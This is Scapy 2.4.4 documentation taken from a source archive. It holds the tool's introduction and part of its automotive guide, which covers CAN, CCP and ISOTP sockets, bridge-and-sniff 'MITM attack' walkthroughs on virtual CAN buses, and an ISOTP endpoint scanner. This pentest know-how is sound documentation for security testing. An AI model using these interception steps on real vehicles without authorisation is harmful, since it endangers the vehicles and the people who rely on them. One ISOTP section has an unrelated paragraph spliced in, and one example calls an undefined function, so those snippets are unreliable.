dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py In this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided. scapy-2.4.4/doc/scapy/introduction.rst000066400000000000000000000245561372370053500200200ustar00rootroot00000000000000************ Introduction ************ .. sectionauthor:: Philippe Biondi About Scapy =========== Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark. .. image:: graphics/testing-taxonomy.* :scale: 50 Scapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. On top of this can be build more high level functions, for example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. What makes Scapy so special =========================== First, with most other networking tools, you won't build something the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved for human beings. Some programs try to mimic this behavior. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want and stack them like you want. You're an adult after all. In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance. Fast packet design ------------------ Other tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan. Scapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language and they benefit from a complete, concise and very powerful language. Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line with another line to print the result. 90\% of the network probing tools can be rewritten in 2 lines of Scapy. Probe once, interpret many -------------------------- Network discovery is blackbox testing. When probing a network, many stimuli are sent while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of response packet. A new probe need not be initiated to adjust the viewpoint of the data. .. image:: graphics/scapy-concept.* :scale: 80 Scapy decodes, it does not interpret ------------------------------------ A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases, it means the packet was not filtered by the firewall but rather there was no host to forward the packet to. Interpreting results can help users that don't know what a port scan is but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that so that they can do the interpretation themselves, knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation. Unfortunately, much information is lost in this operation. Quick demo ========== .. image:: graphics/animations/animation-scapy-demo.svg :align: center First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: # ./run_scapy -s mysession New session [mysession] Welcome to Scapy (2.4.0) >>> IP() >>> target="www.target.com/30" >>> ip=IP(dst=target) >>> ip |> >>> [p for p in ip] [, , , ] >>> ^D :: # ./run_scapy -s mysession Using session [mysession] Welcome to Scapy (2.4.0) >>> ip |> Now, let's manipulate some packets:: >>> IP() >>> a=IP(dst="172.16.1.40") >>> a >>> a.dst '172.16.1.40' >>> a.ttl 64 Let's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:: >>> Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet) Sensible default values ----------------------- Scapy tries to use sensible default values for all packet fields. If not overridden, * IP source is chosen according to destination and routing table * Checksum is computed * Source MAC is chosen according to the output interface * Ethernet type and IP protocol are determined by the upper layer .. image:: graphics/default-values-ip.png :scale: 60 Other fields’ default values are chosen to be the most useful ones: * TCP source port is 20, destination port is 80. * UDP source and destination ports are 53. * ICMP type is echo request. Learning Python =============== Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial `_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python `_ is a very good start too. scapy-2.4.4/doc/scapy/layers/000077500000000000000000000000001372370053500160305ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/layers/automotive.rst000066400000000000000000001451361372370053500207700ustar00rootroot00000000000000********** Automotive ********** Overview ======== .. note:: All automotive related features work best on Linux systems. CANSockets and ISOTPSockets in Scapy are based on Linux kernel modules. The python-can project is used to support CAN and CANSockets on other systems, besides Linux. This guide explains the hardware setup on a BeagleBone Black. The BeagleBone Black was chosen because of its two CAN interfaces on the main processor. The presence of two CAN interfaces in one device gives the possibility of CAN MITM attacks and session hijacking. The Cannelloni framework turns a single board computer into a CAN-to-UDP interface, which gives you the freedom to run Scapy on a more powerful machine. Protocols --------- The following table should give a brief overview about all automotive capabilities of Scapy. Most application layer protocols have many specialized ``Packet`` classes. These special purpose classes are not part of this overview. Use the ``explore()`` function to get all information about one specific protocol. +---------------------+----------------------+--------------------------------------------------------+ | OSI Layer | Protocol | Scapy Implementations | +=====================+======================+========================================================+ | Application Layer | UDS (ISO 14229) | UDS, UDS_*, UDS_TesterPresentSender | | +----------------------+--------------------------------------------------------+ | | GMLAN | GMLAN, GMLAN_*, GMLAN_TesterPresentSender | | +----------------------+--------------------------------------------------------+ | | SOME/IP | SOMEIP, SD | | +----------------------+--------------------------------------------------------+ | | BMW ENET | ENET, ENETSocket | | +----------------------+--------------------------------------------------------+ | | OBD | OBD, OBD_S0X | | +----------------------+--------------------------------------------------------+ | | CCP | CCP, DTO, CRO | +---------------------+----------------------+--------------------------------------------------------+ | Transportation Layer| ISO-TP (ISO 15765-2) | ISOTPSocket, ISOTPNativeSocket, ISOTPSoftSocket | | | | | | | | ISOTPSniffer, ISOTPMessageBuilder, ISOTPSession | | | | | | | | ISOTPHeader, ISOTPHeaderEA, ISOTPScan | | | | | | | | ISOTP, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC | +---------------------+----------------------+--------------------------------------------------------+ | Data Link Layer | CAN (ISO 11898) | CAN, CANSocket, rdcandump, CandumpReader | +---------------------+----------------------+--------------------------------------------------------+ CAN Layer ========= How-To -------- Send and receive a message over Linux SocketCAN:: load_layer('can') load_contrib('cansocket') socket = CANSocket(channel='can0') packet = CAN(identifier=0x123, data=b'01020304') socket.send(packet) rx_packet = socket.recv() socket.sr1(packet, timeout=1) Send a message over a Vector CAN-Interface:: import can load_layer('can') conf.contribs['CANSocket'] = {'use-python-can' : True} load_contrib('cansocket') from can.interfaces.vector import VectorBus socket = CANSocket(channel=VectorBus(0, bitrate=1000000)) packet = CAN(identifier=0x123, data=b'01020304') socket.send(packet) rx_packet = socket.recv() socket.sr1(packet) Tutorials --------- Linux SocketCAN ^^^^^^^^^^^^^^^ This subsection summarizes some basics about Linux SocketCAN. An excellent overview from Oliver Hartkopp can be found here: https://wiki.automotivelinux.org/_media/agl-distro/agl2017-socketcan-print.pdf Virtual CAN Setup ^^^^^^^^^^^^^^^^^ Linux SocketCAN supports virtual CAN interfaces. These interfaces are an easy way to do some first steps on a CAN-Bus without the requirement of special hardware. Besides that, virtual CAN interfaces are heavily used in Scapy unit test for automotive related contributions. Virtual CAN sockets require a special Linux kernel module. The following shell command loads the required module:: sudo modprobe vcan In order to use a virtual CAN interface some additional commands for setup are required. This snippet chooses the name ``vcan0`` for the virtual CAN interface. Any name can be chosen here:: sudo ip link add name vcan0 type vcan sudo ip link set dev vcan0 up The same commands can be executed from Scapy like this:: from scapy.layers.can import * import os bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" os.system(bashCommand) If it's required, a CAN interface can be set into a ``listen-only`` or ``loopback`` mode with ``ip link set`` commands:: ip link set vcan0 type can help # shows additional information Linux can-utils ^^^^^^^^^^^^^^^ As part of Linux SocketCAN, some very useful commandline tools are provided from Oliver Hartkopp: https://github.com/linux-can/can-utils The following example shows basic functions of Linux can-utils. These utilities are very handy for quick checks, dumping, sending or logging of CAN messages from the command line. .. image:: ../graphics/animations/animation-cansend.svg CAN Frame ^^^^^^^^^ Basic information about CAN can be found here: https://en.wikipedia.org/wiki/CAN_bus The following examples assume that CAN layer in your Scapy session is loaded. If it isn't, the CAN layer can be loaded with this command in your Scapy session:: >>> load_layer("can") Creation of a standard CAN frame:: >>> frame = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') Creation of an extended CAN frame:: frame = CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') >>> frame.show() ###[ CAN ]### flags= extended identifier= 0x10010000 length= 8 reserved= 0 data= '\x01\x02\x03\x04\x05\x06\x07\x08' .. image:: ../graphics/animations/animation-scapy-canframe.svg CAN Frame in- and export ^^^^^^^^^^^^^^^^^^^^^^^^ CAN Frames can be written to and read from ``pcap`` files:: x = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') wrpcap('/tmp/scapyPcapTest.pcap', x, append=False) y = rdpcap('/tmp/scapyPcapTest.pcap', 1) .. image:: ../graphics/animations/animation-scapy-rdpcap.svg Additionally CAN Frames can be imported from ``candump`` output and log files. The ``CandumpReader`` class can be used in the same way as a ``socket`` object. This allows you to use ``sniff`` and other functions from Scapy:: with CandumpReader("candump.log") as sock: can_msgs = sniff(count=50, opened_socket=sock) .. image:: ../graphics/animations/animation-scapy-rdcandump.svg Scapy CANSocket ^^^^^^^^^^^^^^^ In Scapy, two kind of CANSockets are implemented. One implementation is called **Native CANSocket**, the other implementation is called **Python-can CANSocket**. Since Python 3 supports ``PF_CAN`` sockets, **Native CANSockets** can be used on a Linux based system with Python 3 or higher. These sockets have a performance advantage because ``select`` is callable on them. This has a big effect in MITM scenarios. For compatibility reasons, **Python-can CANSockets** were added to Scapy. On Windows or OSX and on all systems without Python 3, CAN buses can be accessed through ``python-can``. ``python-can`` needs to be installed on the system: https://github.com/hardbyte/python-can/ **Python-can CANSockets** are a wrapper of python-can interface objects for Scapy. Both CANSockets provide the same API which makes them exchangeable under most conditions. Nevertheless some unique behaviours of each CANSocket type has to be respected. Some CAN-interfaces, like Vector hardware is only supported on Windows. These interfaces can be used through **Python-can CANSockets**. Native CANSocket ^^^^^^^^^^^^^^^^ Creating a simple native CANSocket:: conf.contribs['CANSocket'] = {'use-python-can': False} #(default) load_contrib('cansocket') # Simple Socket socket = CANSocket(iface="vcan0") Creating a native CANSocket only listen for messages with Id == 0x200:: socket = CANSocket(iface="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}]) Creating a native CANSocket only listen for messages with Id >= 0x200 and Id <= 0x2ff:: socket = CANSocket(iface="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) Creating a native CANSocket only listen for messages with Id != 0x200:: socket = CANSocket(iface="vcan0", can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7FF}]) Creating a native CANSocket with multiple can_filters:: socket = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) Creating a native CANSocket which also receives its own messages:: socket = CANSocket(iface="vcan0", receive_own_messages=True) .. image:: ../graphics/animations/animation-scapy-native-cansocket.svg Sniff on a CANSocket: .. image:: ../graphics/animations/animation-scapy-cansockets-sniff.svg CANSocket python-can ^^^^^^^^^^^^^^^^^^^^ python-can is required to use various CAN-interfaces on Windows, OSX or Linux. The python-can library is used through a CANSocket object. To create a python-can CANSocket object, all parameters of a python-can ``interface.Bus`` object has to be used for the initialization of the CANSocket. Ways of creating a python-can CANSocket:: conf.contribs['CANSocket'] = {'use-python-can': True} load_contrib('cansocket') Creating a simple python-can CANSocket:: socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000) Creating a python-can CANSocket with multiple filters:: socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000, can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) For further details on python-can check: https://python-can.readthedocs.io/ CANSocket MITM attack with bridge and sniff ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This example shows how to use bridge and sniff on virtual CAN interfaces. For real world applications, use real CAN interfaces. Set up two vcans on Linux terminal:: sudo modprobe vcan sudo ip link add name vcan0 type vcan sudo ip link add name vcan1 type vcan sudo ip link set dev vcan0 up sudo ip link set dev vcan1 up Import modules:: import threading load_contrib('cansocket') load_layer("can") Create can sockets for attack:: socket0 = CANSocket(iface='vcan0') socket1 = CANSocket(iface='vcan1') Create a function to send packet with threading:: def sendPacket(): sleep(0.2) socket0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) Create a function for forwarding or change packets:: def forwarding(pkt): return pkt Create a function to bridge and sniff between two sockets:: def bridge(): bSocket0 = CANSocket(iface='vcan0') bSocket1 = CANSocket(iface='vcan1') bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1) bSocket0.close() bSocket1.close() Create threads for sending packet and to bridge and sniff:: threadBridge = threading.Thread(target=bridge) threadSender = threading.Thread(target=sendMessage) Start the threads:: threadBridge.start() threadSender.start() Sniff packets:: packets = socket1.sniff(timeout=0.3) Close the sockets:: socket0.close() socket1.close() .. image:: ../graphics/animations/animation-scapy-cansockets-mitm.svg .. image:: ../graphics/animations/animation-scapy-cansockets-mitm2.svg DBC File Format and CAN Signals ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ In order to support the DBC file format, ``SignalFields`` and the ``SignalPacket`` classes were added to Scapy. ``SignalFields`` should only be used inside a ``SignalPacket``. Multiplexer fields (MUX) can be created through ``ConditionalFields``. The following example demonstrates the usage:: DBC Example: BO_ 4 muxTestFrame: 7 TEST_ECU SG_ myMuxer M : 53|3@1+ (1,0) [0|0] "" CCL_TEST SG_ muxSig4 m0 : 25|7@1- (1,0) [0|0] "" CCL_TEST SG_ muxSig3 m0 : 16|9@1+ (1,0) [0|0] "" CCL_TEST SG_ muxSig2 m0 : 15|8@0- (1,0) [0|0] "" CCL_TEST SG_ muxSig1 m0 : 0|8@1- (1,0) [0|0] "" CCL_TEST SG_ muxSig5 m1 : 22|7@1- (0.01,0) [0|0] "" CCL_TEST SG_ muxSig6 m1 : 32|9@1+ (2,10) [0|0] "mV" CCL_TEST SG_ muxSig7 m1 : 2|8@0- (0.5,0) [0|0] "" CCL_TEST SG_ muxSig8 m1 : 0|6@1- (10,0) [0|0] "" CCL_TEST SG_ muxSig9 : 40|8@1- (100,-5) [0|0] "V" CCL_TEST BO_ 3 testFrameFloat: 8 TEST_ECU SG_ floatSignal2 : 32|32@1- (1,0) [0|0] "" CCL_TEST SG_ floatSignal1 : 7|32@0- (1,0) [0|0] "" CCL_TEST Scapy implementation of this DBC description:: class muxTestFrame(SignalPacket): fields_desc = [ LEUnsignedSignalField("myMuxer", default=0, start=53, size=3), ConditionalField(LESignedSignalField("muxSig4", default=0, start=25, size=7), lambda p: p.myMuxer == 0), ConditionalField(LEUnsignedSignalField("muxSig3", default=0, start=16, size=9), lambda p: p.myMuxer == 0), ConditionalField(BESignedSignalField("muxSig2", default=0, start=15, size=8), lambda p: p.myMuxer == 0), ConditionalField(LESignedSignalField("muxSig1", default=0, start=0, size=8), lambda p: p.myMuxer == 0), ConditionalField(LESignedSignalField("muxSig5", default=0, start=22, size=7, scaling=0.01), lambda p: p.myMuxer == 1), ConditionalField(LEUnsignedSignalField("muxSig6", default=0, start=32, size=9, scaling=2, offset=10, unit="mV"), lambda p: p.myMuxer == 1), ConditionalField(BESignedSignalField("muxSig7", default=0, start=2, size=8, scaling=0.5), lambda p: p.myMuxer == 1), ConditionalField(LESignedSignalField("muxSig8", default=0, start=3, size=3, scaling=10), lambda p: p.myMuxer == 1), LESignedSignalField("muxSig9", default=0, start=41, size=7, scaling=100, offset=-5, unit="V"), ] class testFrameFloat(SignalPacket): fields_desc = [ LEFloatSignalField("floatSignal2", default=0, start=32), BEFloatSignalField("floatSignal1", default=0, start=7) ] bind_layers(SignalHeader, muxTestFrame, identifier=0x123) bind_layers(SignalHeader, testFrameFloat, identifier=0x321) dbc_sock = CANSocket("can0", basecls=SignalHeader) pkt = SignalHeader()/testFrameFloat(floatSignal2=3.4) dbc_sock.send(pkt) This example uses the class ``SignalHeader`` as header. The payload is specified by individual ``SignalPackets``. ``bind_layers`` combines the header with the payload dependent on the CAN identifier. If you want to directly receive ``SignalPackets`` from your ``CANSocket``, provide the parameter ``basecls`` to the ``init`` function of your ``CANSocket``. Canmatrix supports the creation of Scapy files from DBC or AUTOSAR XML files https://github.com/ebroecker/canmatrix CAN Calibration Protocol (CCP) ============================== CCP is derived from CAN. The CAN-header is part of a CCP frame. CCP has two types of message objects. One is called Command Receive Object (CRO), the other is called Data Transmission Object (DTO). Usually CROs are sent to an ECU, and DTOs are received from an ECU. The information, if one DTO answers a CRO is implemented through a counter field (ctr). If both objects have the same counter value, the payload of a DTO object can be interpreted from the command of the associated CRO object. Creating a CRO message:: CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) CCP(identifier=0x711)/CRO(ctr=2)/GET_SEED(resource=2) CCP(identifier=0x711)/CRO(ctr=3)/UNLOCK(key=b"123456") If we aren't interested in the DTO of an ECU, we can just send a CRO message like this: Sending a CRO message:: pkt = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) sock = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) sock.send(pkt) If we are interested in the DTO of an ECU, we need to set the basecls parameter of the CANSocket to CCP and we need to use sr1: Sending a CRO message:: cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12") sock = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000), basecls=CCP) dto = sock.sr1(cro) dto.show() ###[ CAN Calibration Protocol ]### flags= identifier= 0x700 length= 8 reserved= 0 ###[ DTO ]### packet_id= 0xff return_code= acknowledge / no error ctr= 83 ###[ PROGRAM_6_DTO ]### MTA0_extension= 2 MTA0_address= 0x34002006 Since sr1 calls the answers function, our payload of the DTO objects gets interpreted with the command of our CRO object. ISOTP ===== System compatibilities ---------------------- Dependent on your setup, different implementations have to be used. +---------------------+----------------------+-------------------------------------+----------------------------------------------------------+ | Python \ OS | Linux with can_isotp | Linux wo can_isotp | Windows / OSX | +=====================+======================+=====================================+==========================================================+ | Python 3 | ISOTPNativeSocket | ISOTPSoftSocket | ISOTPSoftSocket | | +----------------------+-------------------------------------+ | | | ``conf.contribs['CANSocket'] = {'use-python-can': False}`` | ``conf.contribs['CANSocket'] = {'use-python-can': True}``| +---------------------+------------------------------------------------------------+----------------------------------------------------------+ | Python 2 | ISOTPSoftSocket | | | | | | ``conf.contribs['CANSocket'] = {'use-python-can': True}`` | +---------------------+------------------------------------------------------------+----------------------------------------------------------+ The class ``ISOTPSocket`` can be set to a ``ISOTPNativeSocket`` or a ``ISOTPSoftSocket``. The decision is made dependent on the configuration ``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}`` (to select ``ISOTPNativeSocket``) or ``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}`` (to select ``ISOTPSoftSocket``). This will allow you to write platform independent code. Apply this configuration before loading the ISOTP layer with ``load_contrib("isotp")``. Another remark in respect to ISOTPSocket compatibility. Always use with for socket creation. Example:: with ISOTPSocket("vcan0", did=0x241, sid=0x641) as sock: sock.send(...) ISOTP message ------------- Creating an ISOTP message:: load_contrib('isotp') ISOTP(src=0x241, dst=0x641, data=b"\x3eabc") Creating an ISOTP message with extended addressing:: ISOTP(src=0x241, dst=0x641, exdst=0x41, data=b"\x3eabc") Creating an ISOTP message with extended addressing:: ISOTP(src=0x241, dst=0x641, exdst=0x41, exsrc=0x41, data=b"\x3eabc") Create CAN-frames from an ISOTP message:: ISOTP(src=0x241, dst=0x641, exdst=0x41, exsrc=0x55, data=b"\x3eabc" * 10).fragment() Send ISOTP message over ISOTP socket:: isoTpSocket = ISOTPSocket('vcan0', sid=0x241, did=0x641) isoTpMessage = ISOTP('Message') isoTpSocket.send(isoTpMessage) Sniff ISOTP message:: isoTpSocket = ISOTPSocket('vcan0', sid=0x641, did=0x241) packets = isoTpSocket.sniff(timeout=0.5) ISOTP MITM attack with bridge and sniff --------------------------------------- Set up two vcans on Linux terminal:: sudo modprobe vcan sudo ip link add name vcan0 type vcan sudo ip link add name vcan1 type vcan sudo ip link set dev vcan0 up sudo ip link set dev vcan1 up Set up ISOTP: First make sure you installed an iso-tp kernel module. When the vcan core module is loaded with "sudo modprobe vcan" the iso-tp module can be loaded to the kernel. Therefore navigate to isotp directory, and load module with "sudo insmod ./net/can/can-isotp.ko". (Tested on Kernel 4.9.135-1-MANJARO) Detailed instructions you find in https://github.com/hartkopp/can-isotp. Import modules:: import threading load_contrib('cansocket') conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} load_contrib('isotp') Create to ISOTP sockets for attack:: isoTpSocketVCan0 = ISOTPSocket('vcan0', sid=0x241, did=0x641) isoTpSocketVCan1 = ISOTPSocket('vcan1', sid=0x641, did=0x241) Create function to send packet on vcan0 with threading:: def sendPacketWithISOTPSocket(): sleep(0.2) packet = ISOTP('Request') isoTpSocketVCan0.send(packet) Create function to forward packet:: def forwarding(pkt): return pkt Create function to bridge and sniff between two buses:: def bridge(): bSocket0 = ISOTPSocket('vcan0', sid=0x641, did=0x241) bSocket1 = ISOTPSocket('vcan1', sid=0x241, did=0x641) bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1) bSocket0.close() bSocket1.close() Create threads for sending packet and to bridge and sniff:: threadBridge = threading.Thread(target=bridge) threadSender = threading.Thread(target=sendPacketWithISOTPSocket) Start threads are based on Linux kernel modules. The python-can project is used to support CAN and CANSockets on other systems, besides Linux. This guide explains the hardware setup on a BeagleBone Black. The BeagleBone Black was chosen because of its two CAN interfaces on the main processor. The presence of two CAN interfaces in one device gives the possibility of CAN MITM attacks and session hijacking. The Cannelloni framework turns a BeagleBone Black into a CAN-to-UDP interface, which gives you the freedom to run Scapy on a more powerful machine.:: threadBridge.start() threadSender.start() Sniff on vcan1:: receive = isoTpSocketVCan1.sniff(timeout=1) Close sockets:: isoTpSocketVCan0.close() isoTpSocketVCan1.close() An ISOTPSocket will not respect ``src, dst, exdst, exsrc`` of an ISOTP message object. ISOTP Sockets ============= Scapy provides two kinds of ISOTP Sockets. One implementation, the ISOTPNativeSocket is using the Linux kernel module from Hartkopp. The other implementation, the ISOTPSoftSocket is completely implemented in Python. This implementation can be used on Linux, Windows, and OSX. ISOTPNativeSocket ----------------- **Requires:** * Python3 * Linux * Hartkopp's Linux kernel module: ``https://github.com/hartkopp/can-isotp.git`` During pentests, the ISOTPNativeSockets has a better performance and reliability, usually. If you are working on Linux, consider this implementation:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} load_contrib('isotp') sock = ISOTPSocket("can0", sid=0x641, did=0x241) Since this implementation is using a standard Linux socket, all Scapy functions like ``sniff, sr, sr1, bridge_and_sniff`` work out of the box. ISOTPSoftSocket --------------- ISOTPSoftSockets can use any CANSocket. This gives the flexibility to use all python-can interfaces. Additionally, these sockets work on Python2 and Python3. Usage on Linux with native CANSockets:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} load_contrib('isotp') with ISOTPSocket("can0", sid=0x641, did=0x241) as sock: sock.send(...) Usage with python-can CANSockets:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} conf.contribs['CANSocket'] = {'use-python-can': True} load_contrib('isotp') with ISOTPSocket(CANSocket(iface=python_can.interface.Bus(bustype='socketcan', channel="can0", bitrate=250000)), sid=0x641, did=0x241) as sock: sock.send(...) This second example allows the usage of any ``python_can.interface`` object. **Attention:** The internal implementation of ISOTPSoftSockets requires a background thread. In order to be able to close this thread properly, we suggest the use of Pythons ``with`` statement. ISOTPScan and ISOTPScanner -------------------------- ISOTPScan is a utility function to find ISOTP-Endpoints on a CAN-Bus. ISOTPScanner is a commandline-utility for the identical function. .. image:: ../graphics/animations/animation-scapy-isotpscan.svg Commandline usage example:: python -m scapy.tools.automotive.isotpscanner -h usage: isotpscanner [-i interface] [-c channel] [-b bitrate] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end] Scan for open ISOTP-Sockets. required arguments: -c, --channel python-can channel or Linux SocketCAN interface name -s, --start Start scan at this identifier (hex) -e, --end End scan at this identifier (hex) additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. -b, --bitrate python-can bitrate. optional arguments: -h, --help show this help message and exit -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME Seconds listening for noise before scan. -t SNIFF_TIME, --sniff_time SNIFF_TIME Duration in milliseconds a sniff is waiting for a flow-control response. -x, --extended Scan with ISOTP extended addressing. -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. -v, --verbose Display information during scan. Example of use: Python2 or Windows: python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --bitrate=250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --bitrate 250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --bitrate=250000 --start 0 --end 100 Python3 on Linux: python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 Interactive shell usage example:: >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> load_contrib('cansocket') >>> load_contrib('isotp') >>> socks = ISOTPScan(CANSocket("vcan0"), range(0x700, 0x7ff), can_interface="vcan0") >>> socks [< at 0x7f98e27c8210>, < at 0x7f98f9079cd0>, < at 0x7f98f90cd490>, < at 0x7f98f912ec50>, < at 0x7f98f912e950>, < at 0x7f98f906c0d0>] UDS === The main usage of UDS is flashing and diagnostic of an ECU. UDS is an application layer protocol and can be used as a DoIP or ENET payload or a UDS packet can directly be sent over an ISOTPSocket. Every OEM has its own customization of UDS. This increases the difficulty of generic applications and OEM specific knowledge is required for penetration tests. RoutineControl jobs and ReadDataByIdentifier/WriteDataByIdentifier services are heavily customized. Use the argument ``basecls=UDS`` on the ``init`` function of an ISOTPSocket. Here are two usage examples: .. image:: 